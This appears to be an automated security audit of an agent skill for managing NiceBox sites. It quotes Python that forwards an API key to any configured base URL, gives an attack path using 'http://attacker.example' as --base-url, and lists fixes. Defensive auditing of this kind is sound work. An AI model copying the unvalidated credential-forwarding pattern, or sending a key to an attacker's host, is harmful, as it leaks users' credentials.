Back to skill

Security audit

nicebox-site-manager

Security checks for vulnerabilities and agentic risk

Overview

The skill does what it says, but its scripts can send the NiceBox API key to any configured base URL, including non-NiceBox or plaintext HTTP destinations.

Install only if you trust the environment and invocation path. Keep AIBOX_BASE_URL set to the documented NiceBox HTTPS endpoint, avoid passing custom --base-url values, and prefer a narrowly scoped API key because this skill can publish site content and read messages.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/publish_article.py:34
Finding
API Credential Disclosure Through Unrestricted Base URL in Article Publishing<![CDATA[ ## Vulnerability Details **File Location**: `scripts/publish_article.py:34-40, 58, 84-87` **Vulnerability Type**: Arbitrary credential destination and insecure transport **Risk Level**: High ### Vulnerable Code ```python def http_post_json(url: str, api_key: str, payload: dict, timeout: int = 30): data = json.dumps(payload, ensure_ascii=False).encode("utf-8") req = urllib.request.Request( url=url, data=data, method="POST", headers={ "Authorization": api_key, "Content-Type": "application/json", "Accept": "application/json", "User-Agent": "nicebox-openclaw-skill/1.0", }, ) ``` ```python parser.add_argument("--base-url", default=get_env("AIBOX_BASE_URL", DEFAULT_BASE_URL), help="API base URL") ``` ```python url = build_url(args.base_url, ENDPOINT_PUBLISH_ARTICLE) try: status_code, raw = http_post_json(url, api_key, payload) ``` ### Technical Analysis The script accepts an unrestricted API base URL from either the `--base-url` command-line argument or the `AIBOX_BASE_URL` environment variable. It does not validate the URL scheme, hostname, port, user information, or destination origin. The resulting URL is passed to `http_post_json`, which attaches `AIBOX_API_KEY` as the `Authorization` header. Consequently, any party able to influence the argument or environment variable can direct the credential to an arbitrary server. Supplying an `http://` URL also transmits the credential and article data without transport encryption. Sending an authorization credential to the declared NiceBox HTTPS API is necessary for the Skill's publishing functionality. Permitting that credential to be sent to an arbitrary origin is not necessary and exceeds the minimum destination privileges required. ### Attack Path 1. An attacker causes the Skill to be invoked with `--base-url http://attacker.example` or influences `AIBOX_BASE_URL`. 2. The script appends `/artic ...[truncated 792 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Parse the base URL with `urllib.parse.urlsplit` before constructing a request. 2. Require the `https` scheme and reject plaintext HTTP. 3. Allowlist the documented hostname `ai.nicebox.cn` and the expected port. 4. Reject URLs containing user information, fragments, unexpected ports, or malformed hostnames. 5. Remove the runtime `--base-url` option unless it is operationally essential. 6. If custom API deployments must be supported, require explicit trusted-administrator configuration and use a separate credential scoped to that origin. 7. Ensure authorization headers are never forwarded to a different origin during redirects; preferably reject cross-origin redirects entirely. 8. Avoid printing the complete article payload by default because it may contain confidential drafts or personal information. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/list_messages.py:38
Finding
API Credential Disclosure Through Unrestricted Base URL in Message Retrieval<![CDATA[ ## Vulnerability Details **File Location**: `scripts/list_messages.py:38-44, 62, 84-87` **Vulnerability Type**: Arbitrary credential destination and insecure transport **Risk Level**: High ### Vulnerable Code ```python def http_get(url: str, api_key: str, timeout: int = 30): req = urllib.request.Request( url=url, method="GET", headers={ "Authorization": api_key, "Accept": "application/json", "User-Agent": "nicebox-openclaw-skill/1.0", }, ) ``` ```python parser.add_argument("--base-url", default=get_env("AIBOX_BASE_URL", DEFAULT_BASE_URL), help="API base URL") ``` ```python url = build_url(args.base_url, ENDPOINT_LIST_MESSAGES, params) try: status_code, raw = http_get(url, api_key) ``` ### Technical Analysis The message-listing script accepts an arbitrary API origin through `--base-url` or `AIBOX_BASE_URL`. No validation restricts requests to the documented NiceBox HTTPS endpoint. The script subsequently attaches `AIBOX_API_KEY` to the `Authorization` header and sends it to the selected destination. A malicious destination can therefore collect the credential. A plaintext `http://` destination additionally permits interception by parties with access to the network path. Authenticated network access is intrinsic to retrieving messages, and printing the returned message data is part of the declared functionality. However, sending the credential to an unrestricted destination is unnecessary and violates least-destination principles. ### Attack Path 1. An attacker influences the invocation to include a malicious `--base-url`, or controls the `AIBOX_BASE_URL` environment variable. 2. The script constructs a request to the malicious origin with `/message/getlist` and the selected pagination parameters. 3. The script reads `AIBOX_API_KEY` and places it in the request's `Authorization` header. 4. The attacker-controlled server records the credential. 5. The attacker re ...[truncated 533 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Restrict authenticated requests to `https://ai.nicebox.cn` by default. 2. Validate the URL using a structured parser rather than string concatenation. 3. Reject non-HTTPS schemes, unexpected ports, URL user information, fragments, and unapproved hostnames. 4. Remove or tightly control the `--base-url` override. 5. Use distinct, narrowly scoped credentials when support for custom deployments is necessary. 6. Reject cross-origin redirects so the authorization header cannot reach an untrusted origin. 7. Apply server-side least privilege so a message-read credential cannot publish content. 8. Consider optional response redaction or a summary mode because message output may contain personal data and can be captured in agent or process logs. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/site_status.py:38
Finding
API Credential Disclosure Through Unrestricted Base URL in Site Status Checks<![CDATA[ ## Vulnerability Details **File Location**: `scripts/site_status.py:38-44, 58, 73-76` **Vulnerability Type**: Arbitrary credential destination and insecure transport **Risk Level**: High ### Vulnerable Code ```python def http_get(url: str, api_key: str, timeout: int = 30): req = urllib.request.Request( url=url, method="GET", headers={ "Authorization": api_key, "Accept": "application/json", "User-Agent": "nicebox-openclaw-skill/1.0", }, ) ``` ```python parser.add_argument("--base-url", default=get_env("AIBOX_BASE_URL", DEFAULT_BASE_URL), help="API base URL") ``` ```python url = build_url(args.base_url, ENDPOINT_SITE_STATUS) try: status_code, raw = http_get(url, api_key) ``` ### Technical Analysis The site-status script allows the request origin to be selected without scheme or hostname validation. It then sends the API key as an HTTP authorization header to that origin. Although the default destination uses HTTPS, the caller can replace it with any HTTPS or plaintext HTTP server through a command-line argument or environment variable. This converts a legitimate authentication operation into a credential-exfiltration channel when the configuration is attacker-influenced. The status check requires network access and authentication to the declared API, but it does not require authority to disclose the credential to arbitrary origins. ### Attack Path 1. An attacker induces execution with a malicious `--base-url` value or modifies `AIBOX_BASE_URL`. 2. The script appends `/site/status` to the supplied URL. 3. The script sends a GET request containing `AIBOX_API_KEY` in the `Authorization` header. 4. The malicious server records the key. 5. The attacker attempts to reuse the key against the legitimate NiceBox endpoints. ### Impact Assessment The attacker obtains the API credential and all privileges associated with it. Potential scope includes site-status disclosure ...[truncated 223 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Enforce HTTPS and an explicit hostname allowlist before attaching the authorization header. 2. Remove the command-line base URL override unless required for a documented administrative use case. 3. Validate environment-provided destinations as untrusted input. 4. Reject URL user information, fragments, unexpected ports, IP-literal destinations, and malformed hostnames. 5. Disable cross-origin authorization forwarding and reject untrusted redirects. 6. Use a read-only, site-status-specific credential where supported, rather than a key shared with message retrieval and article publishing. 7. Add automated tests confirming that HTTP and non-allowlisted destinations are rejected before any network request occurs. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (3)

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding
The code clearly matches one part of the description: publishing articles through the NiceBox OpenClaw API. It does not show any functionality for viewing messages or checking site status. Since the declared purpose presents the skill as supporting multiple website-management capabilities, but the actual supplied code chunk only performs article publication, the description is broader than the observed behavior. There is no evidence of unrelated or hidden capabilities beyond publishing, but there is still a description-to-behavior mismatch because the implemented functionality in this chunk is materially narrower than the declared set of supported actions.

Lp3

Medium
Category
MCP Least Privilege
Confidence
95% confidence
Finding
The skill declares capabilities that require environment access and outbound network access, but it does not explicitly constrain tool scope with permissions or allowed-tools. In an agent setting, that ambiguity can let the runtime grant broader-than-necessary access, increasing the risk of secret exposure from environment variables and unintended external requests.

Missing User Warnings

Medium
Confidence
90% confidence
Finding
This code performs an outbound HTTP GET request and includes the AIBOX_API_KEY in the Authorization header, but there is no confirmation prompt or user-facing disclosure before the request is made. Although the script purpose implies listing remote messages, the file itself does not warn the user that it will contact an external service using credentials from the environment.

Static analysis

No suspicious patterns detected.